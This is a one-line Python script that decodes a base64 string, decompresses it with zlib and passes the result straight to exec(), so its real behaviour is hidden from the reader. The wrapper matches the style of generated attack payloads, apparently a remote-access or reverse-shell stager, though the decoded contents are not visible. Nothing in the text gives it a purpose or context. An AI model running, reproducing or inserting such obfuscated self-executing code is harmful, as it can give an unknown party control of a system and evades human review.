exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UMFKAzEQPW++Ym9JMA11XSsWVxDxICKC9SalZLNTDZtNQibVreK/27jFywzvzZuZxzND8DGV6HUPSXxZ04pWISxqgSnudBLJDEC2PpZjaVwZlXsDdjrnS1KkuD/UAptpWU6NVeKIV0+3D5vVy/PdzSPPOqm9c6ATYxT3bsDtrDq7rC5kNjCoII2n4o/hWd5GUD0pYNQQUv6TjUi0AIGdc2KbyZ/cuaB0z+j1PRUoI+gPVnP+Ol+Trjliy8nnu7FQWnCs41f2cK47+Z/OJpoTGEGzHIHsQPshREBkUxqyXdSZ7CArxTdFusQfTn4BD+Bk5g==')[0])))